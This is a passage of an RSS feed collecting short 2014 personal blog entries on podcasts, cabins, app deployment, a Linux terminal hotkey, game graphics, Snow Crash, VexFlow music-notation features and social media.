                &lt;p&gt;&lt;a href="https://zacs.site/blog/this-week-in-podcasts-42814.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sun, 04 May 2014 15:24:24 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/this-week-in-podcasts-42814.html</guid></item><item><title>Cabin Porn Roundup</title><link>https://zacs.site/blog/cabin-porn-roundup-414.html</link><description>&lt;p&gt;Happy May, everyone. As Spring begins to finally come to the States, we approach the season of outdoor activities&amp;#160;&amp;#8212;&amp;#160;hiking, camping, picnics, and the like. And maybe, if you&amp;#8217;re lucky enough to have one, a few weekends getting away from it all in a relaxingly isolated cabin out in the woods somewhere.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/cabin-porn-roundup-414.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sun, 04 May 2014 15:19:41 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/cabin-porn-roundup-414.html</guid></item><item><title>Deploying our App</title><link>https://phacks.dev/articles/deploying-our-app</link><description>By now, our app looks okay and works reasonably well. But we were still stuck on local testing, meaning that we couldn’t test it on mobile platforms to see what it rendered. Thus, we decided to deploy our app.</description><author>Nicolas Goutay</author><pubDate>Sun, 04 May 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://phacks.dev/articles/deploying-our-app</guid></item><item><title>‘Open Terminal Here’ hotkeyed</title><link>https://trigonaminima.github.io/2014/05/terminal-hotkeyed/</link><description>I expected that my first actual post would be about something related to Philosophy or Computer or Physics that is, anything pseudo intellectual, but I am going to write about the problem I faced in Linux. The problem was to have a hotkey for “Open in Terminal” (in Linux Mint) with variants as “Open Terminal here” (in Ubuntu). Without the hotkey one have to right click in the respective directory opened in file manager (Nemo in Linux Mint) and then select “Open in Terminal”. Having a hotkey for this comes in handy and makes the life simpler. I googled it (Yeah, some people couldn’t even do that properly, even keyboard ninjas), looked through a few posts of Linux mint forum and found the solution as follows.</description><author>Playground</author><pubDate>Sun, 04 May 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://trigonaminima.github.io/2014/05/terminal-hotkeyed/</guid></item><item><title>That Awkward Moment</title><link>https://olshansky.info/movie/that_awkward_moment/</link><description>Olshansky's review of That Awkward Moment</description><author>🦉 olshansky 🦁</author><pubDate>Sat, 03 May 2014 09:36:55 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/that_awkward_moment/</guid></item><item><title>Screenshot Saturday 169</title><link>https://etodd.io/2014/05/03/screenshot-saturday-169/</link><description>&lt;p&gt;This week I finally implemented SSAO! It's pretty basic, but it works.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://etodd.io/assets/wTNEklM.png"&gt;&lt;img alt="" class="full" src="https://etodd.io/assets/wTNEklMl.png" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Check out the effect source code &lt;a href="https://github.com/et1337/Lemma/blob/master/Lemma/Content/Effects/PostProcess/SSAO.fx"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;It's a big deal for me because I tried it once before and it came out like this:&lt;/p&gt;
&lt;p&gt;&lt;a href="https://etodd.io/assets/8gthv.jpg"&gt;&lt;img alt="" class="full" src="https://etodd.io/assets/8gthvl.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I'm also still working on the player model. I think it's close to being in a usable state. What do you think? Is that a ponytail, or a brain slug?&lt;/p&gt;</description><author>Evan Todd</author><pubDate>Sat, 03 May 2014 03:01:15 GMT</pubDate><guid isPermaLink="true">https://etodd.io/2014/05/03/screenshot-saturday-169/</guid></item><item><title>Snow Crash</title><link>https://bastibe.de/2014-05-03-snow-crash.html</link><description>&lt;p&gt;&lt;img alt="snow-crash" src="http://bastibe.de/static/2014-05/snow-crash.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;This is probably the one book that made me who I am. I bought this book in the English section of a Norwegian bookstore while on a bike trip there. I was just out of school and I had not decided yet what to do with my life. My English was just barely good enough to understand Snow Crash.&lt;/p&gt;
&lt;p&gt;At its essence, Snow Crash introduced me to the idea of hacking. That is, hacking in the abstract sense of &lt;em&gt;using knowledge about the inner workings of things to influence the world&lt;/em&gt;. At the time, I didn't know anything about software yet. Even though the main hero of the book is a master hacker and part of the book plays out in cyber space, it never really talks about the act of writing code. I would learn about that later.&lt;/p&gt;
&lt;p&gt;Snow Crash was my red pill. Re-reading it today, after having been a professional software engineer for a few years, I can't overstate how influential this book has been in my life. It instilled in me the desire to understand the deep structures of things. And with that, the ability to influence and create the world around me. It set me on the path to becoming who I am today.&lt;/p&gt;
&lt;p&gt;Snow Crash also served as my introduction to modern utopian cyberpunk. Even though I spent my youth playing video games and reading bad sci-fi, I still remember Snow Crash as my formal introduction to cyber space, virtual avatars, megacorporations, and light cycle races. And it told of the awesome power of reason.&lt;/p&gt;
&lt;p&gt;If you haven't already, go read this book!&lt;/p&gt;</description><author>bastibe.de</author><pubDate>Sat, 03 May 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://bastibe.de/2014-05-03-snow-crash.html</guid></item><item><title>New in VexFlow (May 2014)</title><link>https://0xfe.blogspot.com/2014/05/new-in-vexflow.html</link><description>Lots of commits into the repository lately. Thanks to Cyril Silverman for may of these. Here are some of the highlights:

&lt;p&gt;&lt;/p&gt;

&lt;h3&gt;Chord Symbols&lt;/h3&gt;
This includes subscript/superscript support in &lt;code&gt;TextNote&lt;/code&gt; and support for common symbols (dim, half-dim, maj7, etc.)
&lt;p&gt;&lt;/p&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhARWln9YaHdtVL5iBAiFKZHcGI85eDMyNLhN3USobfFRbFuq6FAZPsXK746YLJHrXEcb0Hpkbza1giiZ8sCb6I-1BVwuPTCNwkY8boODT0d1x7hYEnbys1OzHbdVRmwGwEYMSaSw/s1600/Screen+Shot+2014-05-02+at+10.51.12+AM.png" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhARWln9YaHdtVL5iBAiFKZHcGI85eDMyNLhN3USobfFRbFuq6FAZPsXK746YLJHrXEcb0Hpkbza1giiZ8sCb6I-1BVwuPTCNwkY8boODT0d1x7hYEnbys1OzHbdVRmwGwEYMSaSw/s400/Screen+Shot+2014-05-02+at+10.51.12+AM.png" /&gt;&lt;/a&gt;&lt;/div&gt;

&lt;p&gt;&lt;/p&gt;

&lt;h3&gt;Stave Line Arrows&lt;/h3&gt;
This is typically used in instructional material.
&lt;p&gt;&lt;/p&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNZTalVSVd5H_a4RBTaURK2A7MhCwpKTZDwqEC6j3ZALkCB3TFv4jfVQyX6GoiALkwsTkxnRK_Ntw7HuRm3S7n6ehmw8M1xa1qqysNo7HVxG06zc1y2TNE09PNp41kaGqiHo32tg/s1600/Screen+Shot+2014-05-02+at+10.50.57+AM.png" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNZTalVSVd5H_a4RBTaURK2A7MhCwpKTZDwqEC6j3ZALkCB3TFv4jfVQyX6GoiALkwsTkxnRK_Ntw7HuRm3S7n6ehmw8M1xa1qqysNo7HVxG06zc1y2TNE09PNp41kaGqiHo32tg/s400/Screen+Shot+2014-05-02+at+10.50.57+AM.png" /&gt;&lt;/a&gt;&lt;/div&gt;


&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdoHUP3nNvIHRvV0nF_w0sv1dI7Lrir4jLiyzMNMQgMUrsgH-HkATiIUUjoYYprV9rOSCkX8-UyUCRT-331MsHJ-BTkjuBh3k-Zqq019RbKHpYP3vOjZcd3mKY7p_xiUmPkJlK5Q/s1600/Screen+Shot+2014-05-02+at+10.51.06+AM.png" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdoHUP3nNvIHRvV0nF_w0sv1dI7Lrir4jLiyzMNMQgMUrsgH-HkATiIUUjoYYprV9rOSCkX8-UyUCRT-331MsHJ-BTkjuBh3k-Zqq019RbKHpYP3vOjZcd3mKY7p_xiUmPkJlK5Q/s400/Screen+Shot+2014-05-02+at+10.51.06+AM.png" /&gt;&lt;/a&gt;&lt;/div&gt;

&lt;p&gt;&lt;/p&gt;

&lt;h3&gt;Slurs&lt;/h3&gt;
Finally, we have slurs. This uses a new VexFlow class called &lt;code&gt;Curve&lt;/code&gt;. Slurs are highly configurable.
&lt;p&gt;&lt;/p&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwVjQOCOtb9K1roaI9Fkpdjer-LJGK_ItJNjilN5fxykR6nkpjO_ZG_Ows3HH20ix8sIOZrzb0jm5Z-VmqP2JjwAB_KuRQgvIXF618OUC7R4T6r5WfPzFq_E4ogC_Lak_wYGIkhg/s1600/Screen+Shot+2014-05-02+at+10.51.24+AM.png" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwVjQOCOtb9K1roaI9Fkpdjer-LJGK_ItJNjilN5fxykR6nkpjO_ZG_Ows3HH20ix8sIOZrzb0jm5Z-VmqP2JjwAB_KuRQgvIXF618OUC7R4T6r5WfPzFq_E4ogC_Lak_wYGIkhg/s400/Screen+Shot+2014-05-02+at+10.51.24+AM.png" /&gt;&lt;/a&gt;&lt;/div&gt;

&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhatECDRLVFWQyBskqVOcVUOZg66Jcywok5t9qyAfIVcqHoUfCZa1J2Ga1Gxrp3dpiFA7Zbm6I1XGGRrWBMX6fcZ5oZDxlWZu0hR1UVipMdAgmEf-96gHbWgppln4Dp2DOsBhIAxg/s1600/Screen+Shot+2014-05-02+at+10.51.29+AM.png" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhatECDRLVFWQyBskqVOcVUOZg66Jcywok5t9qyAfIVcqHoUfCZa1J2Ga1Gxrp3dpiFA7Zbm6I1XGGRrWBMX6fcZ5oZDxlWZu0hR1UVipMdAgmEf-96gHbWgppln4Dp2DOsBhIAxg/s400/Screen+Shot+2014-05-02+at+10.51.29+AM.png" /&gt;&lt;/a&gt;&lt;/div&gt;


&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgc_eVlyXPeFIevIo9au9bCa75PKtHctY2oRecgdQl15Gspn0s_i7uZK_7t6UclD-UAqCXFCJrozYETXUqg45BobYrgRGs0EZkTpCMriR21P0CdLfaH5sDfSVljgqHokOQwHM7Kbw/s1600/Screen+Shot+2014-05-02+at+10.51.36+AM.png" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgc_eVlyXPeFIevIo9au9bCa75PKtHctY2oRecgdQl15Gspn0s_i7uZK_7t6UclD-UAqCXFCJrozYETXUqg45BobYrgRGs0EZkTpCMriR21P0CdLfaH5sDfSVljgqHokOQwHM7Kbw/s400/Screen+Shot+2014-05-02+at+10.51.36+AM.png" /&gt;&lt;/a&gt;&lt;/div&gt;


&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiedlG-ypZuwWHvQl6PNXpcjXV-qnrHI4QbHCX4b-xPrLfwm7i9JJjhDTORtXX2WYL-N5hzGEuGK0PFvdifZmnqU-QjRA9L1HeZ2LDC5XLe0SpiprIkafTO1_CS-66aWyGiSZpNsw/s1600/Screen+Shot+2014-05-02+at+10.51.45+AM.png" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiedlG-ypZuwWHvQl6PNXpcjXV-qnrHI4QbHCX4b-xPrLfwm7i9JJjhDTORtXX2WYL-N5hzGEuGK0PFvdifZmnqU-QjRA9L1HeZ2LDC5XLe0SpiprIkafTO1_CS-66aWyGiSZpNsw/s400/Screen+Shot+2014-05-02+at+10.51.45+AM.png" /&gt;&lt;/a&gt;&lt;/div&gt;

&lt;p&gt;&lt;/p&gt;

&lt;h3&gt;Improved auto-positioning of Annotations and Articulations&lt;/h3&gt;
Annotations and Articulations now self-position based on note, stem, and beam configuration.
&lt;p&gt;&lt;/p&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgU13FCOX7XCOL9mnXofqMUGuOmGJbJvbCtUIixCdxqASZmSCLZNmPQ773x2hY5lWiPHorbJak3YtUg1BuhcV1HajHha3ryLrlId4AczhzrqALlOhdvm2wyBiz7ha8SZwRliBj11A/s1600/Screen+Shot+2014-05-02+at+10.54.03+AM.png" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgU13FCOX7XCOL9mnXofqMUGuOmGJbJvbCtUIixCdxqASZmSCLZNmPQ773x2hY5lWiPHorbJak3YtUg1BuhcV1HajHha3ryLrlId4AczhzrqALlOhdvm2wyBiz7ha8SZwRliBj11A/s400/Screen+Shot+2014-05-02+at+10.54.03+AM.png" /&gt;&lt;/a&gt;&lt;/div&gt;

&lt;p&gt;&lt;/p&gt;

&lt;h3&gt;Grace Notes&lt;/h3&gt;
VexFlow now has full support for Grace Notes. Grace Note groups can contain complex rhythmic elements, and are formatted using the same code as regular notes.

&lt;p&gt;&lt;/p&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSotGzQBCA_ljoJpIQM6N011kQTZ5AhkdoLgqO8ORq42h05hh82Rs_q9HBUN5lEkkba8_TbMNhx04aJ48K0GyPzsH1BHXG-1cNljOjvZgVfz7qGhcHD-N8KhS1juvDqSu7ECcd6g/s1600/Screen+Shot+2014-05-02+at+10.54.30+AM.png" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSotGzQBCA_ljoJpIQM6N011kQTZ5AhkdoLgqO8ORq42h05hh82Rs_q9HBUN5lEkkba8_TbMNhx04aJ48K0GyPzsH1BHXG-1cNljOjvZgVfz7qGhcHD-N8KhS1juvDqSu7ECcd6g/s400/Screen+Shot+2014-05-02+at+10.54.30+AM.png" /&gt;&lt;/a&gt;&lt;/div&gt;

&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZOxD9_LTKefUh0Vs9iqFpzlLI55B7tYSYKx79Zv43GL0BhyMqmfi63i7ulWmY1FrXmN_5HnFmORvMqCNA0yUX-jQEi6MJOv4cO3HBBvde5m1VOeRPzEXxvEO_FwR2qceVl1Zixg/s1600/Screen+Shot+2014-05-02+at+10.54.37+AM.png" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZOxD9_LTKefUh0Vs9iqFpzlLI55B7tYSYKx79Zv43GL0BhyMqmfi63i7ulWmY1FrXmN_5HnFmORvMqCNA0yUX-jQEi6MJOv4cO3HBBvde5m1VOeRPzEXxvEO_FwR2qceVl1Zixg/s400/Screen+Shot+2014-05-02+at+10.54.37+AM.png" /&gt;&lt;/a&gt;&lt;/div&gt;

&lt;p&gt;&lt;/p&gt;

&lt;h3&gt;Auto-Beam Imnprovements&lt;/h3&gt;
Lots more beaming options, including beaming over rests, stemlet rendering, and time-signature aware beaming.

&lt;p&gt;&lt;/p&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjULM-Ju99byoC-ygScvma7aMv67b6ruuqb27v6rZiaQf-kvPep0n_nn8SSmm1XFFdML16g8vhXjFNaJu3gfNDCqiQ5UD69eWnvx0IFj9lfC6RRhHLcmv_v8C0MeHdwizCb01XJTg/s1600/Screen+Shot+2014-05-02+at+10.54.58+AM.png" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjULM-Ju99byoC-ygScvma7aMv67b6ruuqb27v6rZiaQf-kvPep0n_nn8SSmm1XFFdML16g8vhXjFNaJu3gfNDCqiQ5UD69eWnvx0IFj9lfC6RRhHLcmv_v8C0MeHdwizCb01XJTg/s400/Screen+Shot+2014-05-02+at+10.54.58+AM.png" /&gt;&lt;/a&gt;&lt;/div&gt;

&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgovZ5gaOWJyLcc9DxyQX0yI54NK-hy3hSgukICa5-gMrGTaFbVR1OXhoWjS7TkX5CDtoiBRQC4S88QBNv_IHsnRU5U8nKB0H8xHPEuU2o3goALytt_ayQgkMyCNicq7dCJ8qmgQg/s1600/Screen+Shot+2014-05-02+at+10.55.15+AM.png" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgovZ5gaOWJyLcc9DxyQX0yI54NK-hy3hSgukICa5-gMrGTaFbVR1OXhoWjS7TkX5CDtoiBRQC4S88QBNv_IHsnRU5U8nKB0H8xHPEuU2o3goALytt_ayQgkMyCNicq7dCJ8qmgQg/s400/Screen+Shot+2014-05-02+at+10.55.15+AM.png" /&gt;&lt;/a&gt;&lt;/div&gt;

&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihdUTDYtKZhcd-HQjXBxzNPfL0VycfORZBI7xoQWZ3Re4VpaLb9Ka59EL1WivBVfmt1cERK5RhN7zs0mbvxFwzbucMkfL50UYk7epEViA7L3UDk5ihFNJIGVdHmNTgZQ0gjPGrHg/s1600/Screen+Shot+2014-05-02+at+10.55.25+AM.png" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihdUTDYtKZhcd-HQjXBxzNPfL0VycfORZBI7xoQWZ3Re4VpaLb9Ka59EL1WivBVfmt1cERK5RhN7zs0mbvxFwzbucMkfL50UYk7epEViA7L3UDk5ihFNJIGVdHmNTgZQ0gjPGrHg/s400/Screen+Shot+2014-05-02+at+10.55.25+AM.png" /&gt;&lt;/a&gt;&lt;/div&gt;

&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7hzcAqJ2cabV3VXA9JCKovDSwx5yKTJB8lKEOmOmHZ_VKoM9uTktsiIR6f2ulKVShwrOm7v7dUuPvNPM3E5EZ-YupxVdfz9EXHRr_FMaOlhsoP5At99tKHoVBmU9CX9-YpIMjhA/s1600/Screen+Shot+2014-05-02+at+10.55.35+AM.png" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7hzcAqJ2cabV3VXA9JCKovDSwx5yKTJB8lKEOmOmHZ_VKoM9uTktsiIR6f2ulKVShwrOm7v7dUuPvNPM3E5EZ-YupxVdfz9EXHRr_FMaOlhsoP5At99tKHoVBmU9CX9-YpIMjhA/s400/Screen+Shot+2014-05-02+at+10.55.35+AM.png" /&gt;&lt;/a&gt;&lt;/div&gt;

&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;Tab-Stem Features&lt;/h3&gt;

You can (optionally) render Tab Stems through stave lines.
&lt;p&gt;&lt;/p&gt;

&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfsQjfpN66Lpyq_IC4dTlXCypbUy3s8wEOE1Tf-j0hRUS3JkAYk2C5topEC4P0cA2ZgQ2A7gxP1djMAp8ecedWzJgaO_lHOELzrFZq8EebqIO3Y7QZxa67UAKluCDHNhv-QgNkWQ/s1600/Screen+Shot+2014-05-02+at+10.57.42+AM.png" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfsQjfpN66Lpyq_IC4dTlXCypbUy3s8wEOE1Tf-j0hRUS3JkAYk2C5topEC4P0cA2ZgQ2A7gxP1djMAp8ecedWzJgaO_lHOELzrFZq8EebqIO3Y7QZxa67UAKluCDHNhv-QgNkWQ/s400/Screen+Shot+2014-05-02+at+10.57.42+AM.png" /&gt;&lt;/a&gt;&lt;/div&gt;

&lt;p&gt;&lt;/p&gt;

That's all, Folks!</description><author>0xFE - 11111110b - 0376</author><pubDate>Fri, 02 May 2014 18:18:34 GMT</pubDate><guid isPermaLink="true">https://0xfe.blogspot.com/2014/05/new-in-vexflow.html</guid></item><item><title>Veronica Mars</title><link>https://olshansky.info/movie/veronica_mars/</link><description>Olshansky's review of Veronica Mars</description><author>🦉 olshansky 🦁</author><pubDate>Fri, 02 May 2014 17:44:34 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/veronica_mars/</guid></item><item><title>Social Success</title><link>https://zacs.site/blog/social-success.html</link><description>&lt;p&gt;Earlier this month Linus Edwards wrote an article he titled &lt;a href="http://vintagezen.com/zen/2014/4/16/numbers"&gt;Numbers&lt;/a&gt;, a piece where he posited that metrics-based social networks such as Twitter have made interpersonal interaction a game in which attracting the most attention means winning, and have simultaneously chipped away at the majority&amp;#8217;s ability to maintain real relationships devoid of such concrete numbers and superficial endorsements in the form of likes, favorites, retweets, etcetera. In response to his essay, I countered by questioning the existence of this purportedly unfortunate shift in &lt;a href="https://zacs.site/blog/killing-twitter.html"&gt;Killing Twitter&lt;/a&gt;, and an &lt;a href="https://twitter.com/zacjszewczyk/status/461122192361926656"&gt;interesting conversation&lt;/a&gt; ensued. Ultimately, in evaluating the validity of Linus&amp;#8217;s proposed network devoid of all but the most basic of social mechanics, it came down a question of the aspects leading to such a service&amp;#8217;s success. Unsurprisingly, that effectively ended the conversation; but it also got me thinking.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/social-success.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Fri, 02 May 2014 09:53:19 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/social-success.html</guid></item><item><title>ROUTINE.BAS</title><link>https://huphtur.nl/routine-bas/</link><description>&lt;pre&gt;&lt;code&gt;10 BIKE
20 EAT
30 WORK
40 EAT
50 SLEEP
60 GOTO 10
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: &lt;code&gt;SYNTAX ERROR&lt;/code&gt;&lt;/p&gt;</description><author>huphtur</author><pubDate>Thu, 01 May 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://huphtur.nl/routine-bas/</guid></item><item><title>Here jars, there jars, everywhere jars jars</title><link>https://liza.io/here-jars-there-jars-everywhere-jars-jars/</link><description>&lt;p&gt;Yesterday I implemented jars for the snail game. A user can have multiple jars and move snails between those jars (well, they can&amp;rsquo;t move snails yet, but they can put a wild-caught snail inside their personal jar). Some jars are &amp;ldquo;breeding jars&amp;rdquo; (all other jars are considered breeding suppressed, snails can&amp;rsquo;t mate in them. Otherwise there&amp;rsquo;d be snail babies everywhere!)&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Wed, 30 Apr 2014 15:30:54 GMT</pubDate><guid isPermaLink="true">https://liza.io/here-jars-there-jars-everywhere-jars-jars/</guid></item><item><title>In praise of unfairness</title><link>http://ben-evans.com/benedictevans/2014/4/19/unfairness-or-getting-something-for-nothing</link><description>&lt;p&gt;In the twenty-first episode of his podcast Technical Difficulties, &lt;a href="http://technicaldifficulties.us/episodes/021-raising-a-human"&gt;Raising a Human&lt;/a&gt;, Gabe Weatherhead had a great talk with Merlin Mann about, among other things, fatherhood; during that discussion he also mentioned&amp;#160;&amp;#8212;&amp;#160;in passing&amp;#160;&amp;#8212;&amp;#160;how important fairness is to his daughter, even at the age of four. Alongside entitlement, I believe the notion of fairness is one of the single greatest problems facing the American people today: these two touch every aspect of American society, from social interactions to public discourse, to such a degree so as to all but inhibit any meaningful progress in any area. Turns out, as Benedict Evans points out in this piece, unfairness affects the various technological industries as well, and&amp;#160;&amp;#8212;&amp;#160;get this&amp;#160;&amp;#8212;&amp;#160;it isn&amp;#8217;t actually all that terrible there. Shocker, I know, but maybe&amp;#160;&amp;#8212;&amp;#160;just maybe&amp;#160;&amp;#8212;&amp;#160;we could do with some unfairness elsewhere. But, I digress.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://ben-evans.com/benedictevans/2014/4/19/unfairness-or-getting-something-for-nothing"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 29 Apr 2014 17:34:03 GMT</pubDate><guid isPermaLink="true">http://ben-evans.com/benedictevans/2014/4/19/unfairness-or-getting-something-for-nothing</guid></item><item><title>The Amphicruiser</title><link>http://huckberry.com/blog/posts/the-amphicruiser</link><description>&lt;p&gt;This is absolutely awesome. Still far out of my reach, unfortunately, as well as the reach of most others, I would imagine&amp;#160;&amp;#8212;&amp;#160;but hey, we can all &lt;a href="https://zacs.site/blog/superhero-vehicles.html"&gt;dream&lt;/a&gt;, &lt;a href="https://zacs.site/blog/filson-4x4.html"&gt;right&lt;/a&gt;?&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://huckberry.com/blog/posts/the-amphicruiser"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 29 Apr 2014 14:43:56 GMT</pubDate><guid isPermaLink="true">http://huckberry.com/blog/posts/the-amphicruiser</guid></item><item><title>First Look at Editorial 1.1</title><link>http://omz-forums.appspot.com/editorial/post/5900430768865280</link><description>&lt;p&gt;Although at this point slightly outdated given Ole posted the original announcement more than two weeks ago, these screenshots of the upcoming ui module as well as an iOS 7 and iPhone version of his acclaimed text editor Editorial are no less impressive. In fact, I would go so far as to call them incredible, and I bet Federico Viticci &lt;a href="http://www.macstories.net/linked/editorial-1-1-teaser/"&gt;would agree&lt;/a&gt; with me. So far, I have resisted purchasing a Dropbox-capable text editor on my iPhone out of hope that Ole Zorn would create an iPhone version of my favorite iPad text editor, and now, I&amp;#8217;m glad I did. I can hardly wait for this to come out.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://omz-forums.appspot.com/editorial/post/5900430768865280"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 29 Apr 2014 13:56:47 GMT</pubDate><guid isPermaLink="true">http://omz-forums.appspot.com/editorial/post/5900430768865280</guid></item><item><title>Killing Twitter</title><link>https://zacs.site/blog/killing-twitter.html</link><description>&lt;p&gt;It may sound cute and sensational to write a headline like this, but for Linus Edwards&amp;#8217; recent piece &lt;a href="http://vintagezen.com/zen/2014/4/16/numbers"&gt;Numbers&lt;/a&gt;, I don&amp;#8217;t consider it wholly inappropriate. In that article, he first painted a picture of a microblogging service devoid of quantified metrics: no one would have any idea how many followers a given individual had, nor would the person in question. No longer would the best jokes, most insightful comments, and noteworthy observations come from a select few with follower counts in the six, seven, or eight digits, but could instead come from those individuals as well as the everyday user. I won&amp;#8217;t lie: it sounded nice, and for a short while, I was completely on board with this suggestion. However, then he took it a step further.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/killing-twitter.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 29 Apr 2014 11:32:32 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/killing-twitter.html</guid></item><item><title>Discover Jade, a great template engine for Node</title><link>https://phacks.dev/articles/discover-jade-a-great-template-engine-for-node</link><description>Our app is finally up and running. We have tried and enhanced the app in three directions: Performance, Design and User Experience.</description><author>Nicolas Goutay</author><pubDate>Tue, 29 Apr 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://phacks.dev/articles/discover-jade-a-great-template-engine-for-node</guid></item><item><title>2014-04-29</title><link>https://ho.dges.online/pictures/2014-04-29/</link><description>&lt;p&gt;B &lt;em&gt;really&lt;/em&gt; not wanting to pose for a picture and inadvertantly posing brilliantly.&lt;/p&gt;</description><author>ho.dges.online</author><pubDate>Tue, 29 Apr 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2014-04-29/</guid></item><item><title>Rebound: Season 1</title><link>https://olshansky.info/tv/rebound_season_1/</link><description>Olshansky's review of Rebound: Season 1</description><author>🦉 olshansky 🦁</author><pubDate>Mon, 28 Apr 2014 18:54:52 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/tv/rebound_season_1/</guid></item><item><title>Fun with Memory 